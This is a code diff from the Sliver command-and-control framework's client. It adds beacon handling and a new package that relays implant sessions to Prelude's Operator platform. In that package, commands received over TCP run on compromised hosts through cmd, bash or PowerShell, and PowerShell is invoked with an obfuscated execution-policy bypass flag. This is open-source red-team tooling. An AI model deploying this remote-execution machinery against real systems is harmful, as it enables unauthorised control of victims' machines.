IsServer: isServer,
Settings: settings,
}
con.App.SetPrintASCIILogo(func(_ *grumble.App) {
con.PrintLogo()
@@ -119,7 +135,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
bindCmds(con)
extraCmds(con)
con.ActiveSession.AddObserver(func(_ *clientpb.Session) {
con.ActiveTarget.AddObserver(func(_ *clientpb.Session, _ *clientpb.Beacon) {
con.App.SetPrompt(con.GetPrompt())
})
@@ -176,14 +192,16 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionOpenedEvent:
session := event.Session
// The HTTP session handling is performed in two steps:
// - first we add an "empty" session
// - then we complete the session info when we receive the Register message from the Sliver
// This check is here to avoid displaying two sessions events for the same session
if session.OS != "" {
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session to Operator: %s", err)
}
}
case consts.SessionUpdateEvent:
@@ -195,13 +213,31 @@ func (con *SliverConsoleClient) EventLoop() {
session := event.Session
con.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
activeSession := con.ActiveSession.Get()
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveSession.Set(nil)
con.App.SetPrompt(con.GetPrompt())
con.ActiveTarget.Set(nil, nil)
con.Printf(Warn + "Active session disconnected\n")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintErrorf("Could not remove session from Operator: %s", err)
}
con.PrintInfof("Removed session %s from Operator\n", session.Name)
}
con.Println()
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintInfof("Beacon #%s %s - %s (%s) - %s/%s - %v\n\n",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
con.triggerReactions(event)
@@ -219,14 +255,13 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
// We need some special handling for SessionOpenedEvent to
// set the new session as the active session
currentActiveSession := con.ActiveSession.Get()
defer con.ActiveSession.Set(currentActiveSession)
con.ActiveSession.Set(nil)
currentActiveSession := con.ActiveTarget.GetSession()
if currentActiveSession != nil {
defer con.ActiveTarget.Set(currentActiveSession, nil)
}
con.ActiveTarget.Set(nil, nil)
if event.EventType == consts.SessionOpenedEvent {
if event.Session == nil || event.Session.OS == "" {
return // Half-open session, do not execute any command
}
con.ActiveSession.Set(event.Session)
con.ActiveTarget.Set(event.Session, nil)
}
for _, reaction := range reactions {
@@ -245,13 +280,53 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
}
}
// triggerBeaconTaskCallback - Triggers the callback for a beacon task
func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
task := &clientpb.BeaconTask{}
err := proto.Unmarshal(data, task)
if err != nil {
con.PrintErrorf("\rCould not unmarshal beacon task: %s\n", err)
return
}
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
// was restarted between the time the task was created and the server go the result
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
if con.Settings.BeaconAutoResults {
// TODO: The background context could block forever and deadlock the mutex
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{
ID: task.ID,
})
con.Printf(Clearln + "\r")
if err == nil {
callback(task)
} else {
con.PrintErrorf("Could not get beacon task content: %s\n", err)
}
con.Println()
}
delete(con.BeaconTaskCallbacks, task.ID)
}
}
func (con *SliverConsoleClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) {
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
con.BeaconTaskCallbacks[taskID] = callback
}
func (con *SliverConsoleClient) GetPrompt() string {
prompt := Underline + "sliver" + Normal
if con.IsServer {
prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal
}
if con.ActiveSession.Get() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveSession.Get().Name, Normal)
if con.ActiveTarget.GetSession() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal)
} else if con.ActiveTarget.GetBeacon() != nil {
prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal)
}
prompt += " > "
return Clearln + prompt
@@ -268,7 +343,6 @@ func (con *SliverConsoleClient) PrintLogo() {
}
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
insecureRand.Seed(time.Now().Unix())
logo := asciiLogos[insecureRand.Intn(len(asciiLogos))]
con.Println(logo)
con.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))])
@@ -350,8 +424,9 @@ func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Sessi
}
// GetActiveSessionConfig - Get the active sessions's config
// TODO: Switch to query config based on ConfigID
func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return nil
}
@@ -368,8 +443,8 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
Evasion: session.GetEvasion(),
MaxConnectionErrors: uint32(1000),
ReconnectInterval: uint32(60),
PollInterval: uint32(1),
ReconnectInterval: int64(60),
PollTimeout: int64(1),
Format: clientpb.OutputFormat_SHELLCODE,
IsSharedLib: true,
@@ -378,12 +453,9 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
return config
}
// This should be called for any dangerous (OPSEC-wise) functions
func (con *SliverConsoleClient) IsUserAnAdult() bool {
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
// PrintAsyncResponse - Print the generic async response information
func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) {
con.PrintInfof("Tasked beacon %s (%s)\n", resp.BeaconID, resp.TaskID)
}
func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) {
@@ -411,61 +483,107 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
}
//
// -------------------------- [ Active Session ] --------------------------
// -------------------------- [ Active Target ] --------------------------
//
// GetInteractive - GetInteractive the active session
func (s *ActiveSession) GetInteractive() *clientpb.Session {
if s.Session == nil {
fmt.Printf(Warn + "Please select an active session via `use`\n")
return nil
// GetSessionInteractive - Get the active target(s)
func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
if s.session == nil && s.beacon == nil {
fmt.Printf(Warn + "Please select a session or beacon via `use`\n")
return nil, nil
}
return s.Session
return s.session, s.beacon
}
// Get - Same as Get() but doesn't print a warning
func (s *ActiveSession) Get() *clientpb.Session {
if s.Session == nil {
// GetSessionInteractive - GetSessionInteractive the active session
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
if s.session == nil {
fmt.Printf(Warn + "Please select a session via `use`\n")
return nil
}
return s.Session
return s.session
}
// GetSession - Same as GetSession() but doesn't print a warning
func (s *ActiveTarget) GetSession() *clientpb.Session {
return s.session
}
// GetBeaconInteractive - Get beacon interactive the active session
func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon {
if s.beacon == nil {
fmt.Printf(Warn + "Please select a beacon via `use`\n")
return nil
}
return s.beacon
}
// GetBeacon - Same as GetBeacon() but doesn't print a warning
func (s *ActiveTarget) GetBeacon() *clientpb.Beacon {
return s.beacon
}
// IsSession - Is the current target a session?
func (s *ActiveTarget) IsSession() bool {
if s.session != nil {
return true
}
return false
}
// AddObserver - Observers to notify when the active session changes
func (s *ActiveSession) AddObserver(observer Observer) int {
func (s *ActiveTarget) AddObserver(observer Observer) int {
s.observerID++
s.observers[s.observerID] = observer
return s.observerID
}
func (s *ActiveSession) RemoveObserver(observerID int) {
func (s *ActiveTarget) RemoveObserver(observerID int) {
delete(s.observers, observerID)
}
func (s *ActiveSession) Request(ctx *grumble.Context) *commonpb.Request {
if s.Session == nil {
func (s *ActiveTarget) Request(ctx *grumble.Context) *commonpb.Request {
if s.session == nil && s.beacon == nil {
return nil
}
timeout := int(time.Second) * ctx.Flags.Int("timeout")
return &commonpb.Request{
SessionID: s.Session.ID,
Timeout: int64(timeout),
req := &commonpb.Request{}
req.Timeout = int64(timeout)
if s.session != nil {
req.Async = false
req.SessionID = s.session.ID
}
if s.beacon != nil {
req.Async = true
req.BeaconID = s.beacon.ID
}
return req
}
// Set - Change the active session
func (s *ActiveSession) Set(session *clientpb.Session) {
s.Session = session
for _, observer := range s.observers {
observer(s.Session)
func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) {
if session != nil && beacon != nil {
panic("cannot set both an active beacon and an active session")
}
if session != nil {
s.session = session
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
} else if beacon != nil {
s.beacon = beacon
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
}
}
// Background - Background the active session
func (s *ActiveSession) Background() {
s.Session = nil
func (s *ActiveTarget) Background() {
s.session = nil
s.beacon = nil
for _, observer := range s.observers {
observer(nil)
observer(nil, nil)
}
}
+18 -6
View File
@@ -82,13 +82,19 @@ const (
// LootRemoved
LootRemovedEvent = "loot-removed"
// BeaconRegisteredEvent - First connection from a new beacon
BeaconRegisteredEvent = "beacon-registered"
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
)
// Commands
const (
NewPlayerStr = "new-player"
PlayersStr = "players"
KickPlayerStr = "kick-player"
OperatorsStr = "operators"
NewOperatorStr = "new-operator"
KickStr = "kick"
MultiplayerModeStr = "multiplayer"
SessionsStr = "sessions"
@@ -97,12 +103,15 @@ const (
UseStr = "use"
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerStr = "info"
StagerStr = "stager"
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
SettingsStr = "settings"
// Generic
@@ -116,6 +125,7 @@ const (
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
TablesStr = "tables"
LootStr = "loot"
LootLocalStr = "local"
@@ -126,7 +136,7 @@ const (
RenameStr = "rename"
ImplantBuildsStr = "implants"
ListCanariesStr = "canaries"
CanariesStr = "canaries"
JobsStr = "jobs"
MtlsStr = "mtls"
@@ -212,7 +222,9 @@ const (
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
)
// Groups
-2
View File
@@ -103,8 +103,6 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
case data := <-tun.Recv:
log.Printf("Read %d bytes", len(data))
buff.Write(data)
default:
break
}
n := copy(data, buff.Bytes())
return n, nil
+4
View File
@@ -0,0 +1,4 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
+132
View File
@@ -0,0 +1,132 @@
package prelude
import (
"bufio"
"bytes"
"context"
"encoding/json"
"io"
"net"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
//TODO handle link.payloadPath
payloadPath := ""
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+92
View File
@@ -0,0 +1,92 @@
package prelude
import (
"context"
"fmt"
"log"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "config":
// return updateConfiguration(task[1], agent)
// case "shell":
// return pty.SpawnShell(task[1], agent)
case "exit":
return shutdown(agent, rpc, session)
default:
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agent, rpc, session)
return string(bites), status, pid
}
return "", 0, 0
}
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
}
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(session),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
}
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
}
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
}
func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/C", "/S"}
case "powershell", "psh":
args = []string{"-execu", "ByPasS", "-C"}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
return args
}
func splitMessage(message string, splitRune rune) []string {
quoted := false
values := strings.FieldsFunc(message, func(r rune) bool {
if r == '"' {
quoted = !quoted
}
return !quoted && r == splitRune
})
return values
}
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
Force: false,
Request: MakeRequest(session),
})
if err != nil {
return err.Error(), 1, 0
}
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
}
+91
View File
@@ -0,0 +1,91 @@
package prelude
import (
"crypto/md5"
"encoding/hex"
"io"
"sort"
)
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() Beacon
}
type AgentConfig struct {
Name string
AESKey string
Range string
Contact string
Address string
Useragent string
Sleep int
KillSleep int
CommandJitter int
CommandTimeout int
Pid int
Proxy string
Debug bool
Executing map[string]Instruction
}
type Beacon struct {
Name string
Target string
Hostname string
Location string
Platform string
Executors []string
Range string
Sleep int
Pwd string
Executing string
Links []Instruction
}
type Instruction struct {
ID string `json:"ID"`
Executor string `json:"Executor"`
Payload string `json:"Payload"`
Request string `json:"Request"`
Response string
Status int
Pid int
}
func (c *AgentConfig) BuildExecutingHash() string {
if count := len(c.Executing); count > 0 {
ids := make([]string, count)
for id := range c.Executing {
ids = append(ids, id)
}
sort.Strings(ids)
h := md5.New()
for _, s := range ids {
io.WriteString(h, s)
}
return hex.EncodeToString(h.Sum(nil))
}
return ""
}
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
if _, ex := c.Executing[instruction.ID]; ex {
return false
}
c.Executing[instruction.ID] = instruction
return true
}
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
for _, i := range instructions {
if c.StartInstruction(i) {
ret = append(ret, i)
}
}
return
}
func (c *AgentConfig) EndInstruction(instruction Instruction) {
delete(c.Executing, instruction.ID)
}
+115
View File
@@ -0,0 +1,115 @@
package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SessionMapper *PreludeSessionMapper
type OperatorConfig struct {
Range string
OperatorURL string
RPC rpcpb.SliverRPCClient
AESKey string
}
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
sync.Mutex
}
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return SessionMapper
}
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(s),
})
if err != nil {
return err
}
if pwdResp != nil {
pwd = pwdResp.Path
}
// Operator implants have embeded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Range: p.conf.Range,
Executors: util.DetermineExecutors(s.OS, s.Arch),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: 3,
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: sessName,
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Executing: make(map[string]Instruction),
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
p.Lock()
p.sessions = append(p.sessions, agentSession)
p.Unlock()
go agentSession.ReceiveLoop()
return nil
}
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
p.Lock()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
} else {
err = errors.New("connection is nil")
}
}
}
p.Unlock()
return err
}
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
return p.conf
}
Loaded 100 of 412 files, more files were not shown because too many files have changed in this diff. Show more